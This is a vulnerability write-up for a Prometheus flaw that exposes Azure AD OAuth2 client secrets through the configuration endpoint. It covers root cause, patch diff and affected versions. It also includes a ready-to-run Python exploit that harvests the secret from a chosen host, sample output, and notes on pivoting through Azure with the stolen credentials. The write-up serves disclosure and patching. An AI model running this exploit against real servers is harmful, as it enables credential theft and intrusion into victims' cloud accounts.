#Summary
CVE-2026-42151 is an information disclosure vulnerability in Prometheus that exposes Azure AD OAuth2 client secrets in plaintext to unauthenticated attackers. Affected versions include Prometheus 2.48.0 through 3.5.2 and 3.6.0 through 3.11.2. The vulnerability has a CVSS score of 7.5 (HIGH) and requires no authentication or user interaction - a single HTTP GET request to the configuration endpoint leaks the full credential.
#Affected versions
- Prometheus
2.48.0to3.5.2(vulnerable) - Prometheus
3.6.0to3.11.2(vulnerable) - Prometheus
>= 3.5.3(3.5.x LTS patched) - Prometheus
>= 3.11.3(main branch patched)
The vulnerability affects any Prometheus instance configured with Azure AD OAuth2 remote write using a client secret. Instances without Azure AD remote write configuration are not affected.
#Root cause analysis
#Vulnerable code path
The vulnerability exists in storage/remote/azuread/azuread.go. The OAuthConfig struct incorrectly typed the ClientSecret field as a plain Go string instead of config_util.Secret:
type OAuthConfig struct {
ClientID string `yaml:"client_id,omitempty"`
ClientSecret string `yaml:"client_secret,omitempty"` // <- plain string, no redaction
TenantID string `yaml:"tenant_id,omitempty"`
}Prometheus exposes its running configuration via the GET /api/v1/status/config endpoint (also /-/config). This endpoint serializes the entire configuration tree to YAML and returns it as JSON or plain text.
The config_util.Secret type (from github.com/prometheus/common/config) implements a custom MarshalYAML method that returns the literal "<secret>" placeholder instead of the actual value - this is Prometheus's standard redaction mechanism for sensitive fields. Because ClientSecret was typed as a plain string, the YAML marshaler emitted the real credential verbatim.
#How input reaches the sink
Configuration flow:
- Prometheus loads
prometheus.ymlat startup - The Azure AD section is parsed into the
OAuthConfigstruct - When a request arrives at
/api/v1/status/config, the handler callsapi.config().String() - This triggers YAML marshaling of the config tree
- Each struct field is serialized - most sensitive fields use
config_util.Secretwhich redacts to"<secret>" - The
ClientSecretfield, being a plainstring, is serialized with its actual value - The attacker receives the full plaintext credential in the HTTP response
This is purely a serialization-time bug. The runtime functionality of newOAuthTokenCredential works correctly:
func newOAuthTokenCredential(clientOpts *azcore.ClientOptions,
oAuthConfig *OAuthConfig) (azcore.TokenCredential, error) {
opts := &azidentity.ClientSecretCredentialOptions{ClientOptions: *clientOpts}
return azidentity.NewClientSecretCredential(oAuthConfig.TenantID,
oAuthConfig.ClientID, oAuthConfig.ClientSecret, opts)
}The function reads the secret correctly at runtime. The type mistake only affects configuration serialization paths.
#Patch diff
#What the fix does
The patch changes ClientSecret from string to config_util.Secret in the struct definition. After this change, the YAML marshaler automatically redacts the field to "<secret>" regardless of its actual value.
Patch for PR #18590 (main branch / 3.11.x):
type OAuthConfig struct {
ClientID string `yaml:"client_id,omitempty"`
- ClientSecret string `yaml:"client_secret,omitempty"`
+ ClientSecret config_util.Secret `yaml:"client_secret,omitempty"`
TenantID string `yaml:"tenant_id,omitempty"`
}
func newOAuthTokenCredential(clientOpts *azcore.ClientOptions,
oAuthConfig *OAuthConfig) (azcore.TokenCredential, error) {
opts := &azidentity.ClientSecretCredentialOptions{ClientOptions: *clientOpts}
return azidentity.NewClientSecretCredential(oAuthConfig.TenantID,
- oAuthConfig.ClientID, oAuthConfig.ClientSecret, opts)
+ oAuthConfig.ClientID, string(oAuthConfig.ClientSecret), opts)
}The explicit string() cast is necessary because the Azure SDK expects a string argument, not the custom config_util.Secret type. With this change, serialization now returns client_secret: <secret> while the runtime code continues to work as before.
An identical fix was applied to the 3.5.x LTS branch (PR #18587).
#Proof of concept
#exploit.py - Prometheus OAuth Client Secret Extraction
#!/usr/bin/env python3
"""
CVE-2026-42151 - Prometheus Azure AD OAuth2 client_secret Plaintext Exposure
Affected: Prometheus 2.48.0-3.5.2 and 3.6.0-3.11.2
Type: Information Disclosure
The OAuthConfig.ClientSecret field was typed as a plain Go string instead of
config_util.Secret. When Prometheus serializes its running config via
/api/v1/status/config or /-/config, the real Azure AD client secret is
emitted in plaintext instead of being redacted as "<secret>".
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 127.0.0.1 --port 9090
"""
import argparse
import sys
import re
try:
import requests
except ImportError:
import urllib.request
import json as _json
requests = None
CVE_ID = "CVE-2026-42151"
VULN_TYPE = "Info Disclosure"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def fetch(url: str) -> tuple:
"""Return (status_code, text). Works with or without requests library."""
if requests is not None:
r = requests.get(url, timeout=10)
return r.status_code, r.text
else:
try:
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", errors="replace")
def exploit(host: str, port: int) -> None:
header(host, port)
base = f"http://{host}:{port}"
endpoints = [
f"{base}/api/v1/status/config",
f"{base}/-/config",
]
raw_yaml = None
used_endpoint = None
step(1, f"Probing config endpoints on {host}:{port}")
for url in endpoints:
try:
status, body = fetch(url)
if status == 200:
# /api/v1/status/config returns JSON with data.yaml
# /-/config returns raw YAML
if "application/json" in url or "api/v1" in url:
# Try to parse JSON envelope
try:
if requests is not None:
import json
obj = json.loads(body)
raw_yaml = obj.get("data", {}).get("yaml", body)
else:
import json
obj = json.loads(body)
raw_yaml = obj.get("data", {}).get("yaml", body)
except Exception:
raw_yaml = body
else:
raw_yaml = body
used_endpoint = url
break
except Exception as exc:
section(f"ENDPOINT ERROR ({url})", str(exc))
continue
if raw_yaml is None:
section("SERVER RESPONSE", "All endpoints unreachable or returned non-200")
done(False, "Could not fetch config from any endpoint")
step(2, f"Config retrieved from {used_endpoint} - scanning for client_secret")
section("RAW CONFIG YAML (excerpt)", raw_yaml[:3000] if len(raw_yaml) > 3000 else raw_yaml)
# Check for plaintext secret (vulnerable) vs. redacted placeholder (patched)
match = re.search(r"client_secret:\s*(.+)", raw_yaml)
if not match:
section("SCAN RESULT", "No client_secret field found in config (Azure AD OAuth may not be configured)")
done(False, "No client_secret field present in Prometheus config")
secret_value = match.group(1).strip()
step(3, f"Found client_secret field: {secret_value!r}")
if secret_value == "<secret>":
section("SCAN RESULT", f"client_secret: {secret_value}\n=> Field is REDACTED - target is running a PATCHED version.")
done(False, "client_secret is redacted as '<secret>' - patch enforces config_util.Secret type")
else:
section("EXPOSED SECRET", f"client_secret: {secret_value}")
done(True, f"client_secret leaked in plaintext: '{secret_value}' - target is VULNERABLE (unpatched)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
parser.add_argument("--host", required=True, help="Target hostname or IP")
parser.add_argument("--port", type=int, default=9090, help="Target port (default: 9090)")
args = parser.parse_args()
exploit(args.host, args.port)#Usage
python3 exploit.py --host 127.0.0.1 --port 9090Vulnerable target (v3.5.2):
============================================================
ALIM EXPLOIT CVE-2026-42151
Type: Info Disclosure | Target: 127.0.0.1:9090
============================================================
[STEP 1] Probing config endpoints on 127.0.0.1:9090
[STEP 2] Config retrieved from http://127.0.0.1:9090/api/v1/status/config - scanning for client_secret
--- RAW CONFIG YAML (excerpt) ---
remote_write:
- url: https://dummy-ingestion-endpoint.example.com/dataCollectionRules/test/streams/Custom-Dummy
azuread:
oauth:
client_id: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
client_secret: SUPER_SECRET_CLIENT_SECRET_VALUE
tenant_id: ffffffff-0000-1111-2222-333333333333
cloud: AzurePublic
---
[STEP 3] Found client_secret field: 'SUPER_SECRET_CLIENT_SECRET_VALUE'
--- EXPOSED SECRET ---
client_secret: SUPER_SECRET_CLIENT_SECRET_VALUE
---
============================================================
RESULT : SUCCESS
EVIDENCE: client_secret leaked in plaintext: 'SUPER_SECRET_CLIENT_SECRET_VALUE' - target is VULNERABLE (unpatched)
============================================================Patched target (v3.5.3):
============================================================
ALIM EXPLOIT CVE-2026-42151
Type: Info Disclosure | Target: 127.0.0.1:9091
============================================================
[STEP 1] Probing config endpoints on 127.0.0.1:9091
[STEP 2] Config retrieved from http://127.0.0.1:9091/api/v1/status/config - scanning for client_secret
--- RAW CONFIG YAML (excerpt) ---
remote_write:
- url: https://dummy-ingestion-endpoint.example.com/dataCollectionRules/test/streams/Custom-Dummy
azuread:
oauth:
client_id: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
client_secret: <secret>
tenant_id: ffffffff-0000-1111-2222-333333333333
cloud: AzurePublic
---
[STEP 3] Found client_secret field: '<secret>'
--- SCAN RESULT ---
client_secret: <secret>
=> Field is REDACTED - target is running a PATCHED version.
---
============================================================
RESULT : FAILURE
EVIDENCE: client_secret is redacted as '<secret>' - patch enforces config_util.Secret type
============================================================#Exploitation notes
#Preconditions
The attacker needs:
- Network access to the Prometheus HTTP port (default TCP 9090). If Prometheus is behind a firewall or reverse proxy with authentication, the attacker must bypass those controls first. By default, Prometheus does not require authentication on its management endpoints.
- Prometheus configured with Azure AD OAuth2 remote write using a client secret. Instances without Azure AD remote write are not affected. The configuration must contain an
azuread.oauth.client_secretfield. - Target running an affected version (2.48.0-3.5.2 or 3.6.0-3.11.2). Versions 3.5.3 and 3.11.3 or later are patched.
#Reliability
The exploit is 100% reliable on vulnerable targets. A single unauthenticated HTTP GET to /api/v1/status/config (or /-/config) is sufficient. No timing delays, no retries, no race conditions - the vulnerability is deterministic.
#Impact
Full disclosure of the Azure AD OAuth2 client secret. Combined with the client_id and tenant_id (also exposed in plaintext in the same configuration block), the attacker gains complete Azure AD application credentials. These can be used to:
- Authenticate as the service principal to the Azure API
- Write arbitrary metrics to the Azure Monitor ingestion endpoint configured in the remote write block
- Poison or manipulate monitoring data
- Pivot through Azure using whatever permissions the service principal holds
#Chaining potential
This is typically a first-step information disclosure in an Azure-connected infrastructure. The exposed credentials enable lateral movement and data poisoning. In defense-in-depth scenarios, this could be chained with misconfigured Azure RBAC or weak service principal permissions to achieve resource access or data exfiltration.
#References
- CVE: CVE-2026-42151
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42151
- GitHub Advisory: https://github.com/prometheus/prometheus/security/advisories/GHSA-wg65-39gg-5wfj
- Fix PR (3.5.x): https://github.com/prometheus/prometheus/pull/18587
- Fix PR (main): https://github.com/prometheus/prometheus/pull/18590
- Prometheus Repository: https://github.com/prometheus/prometheus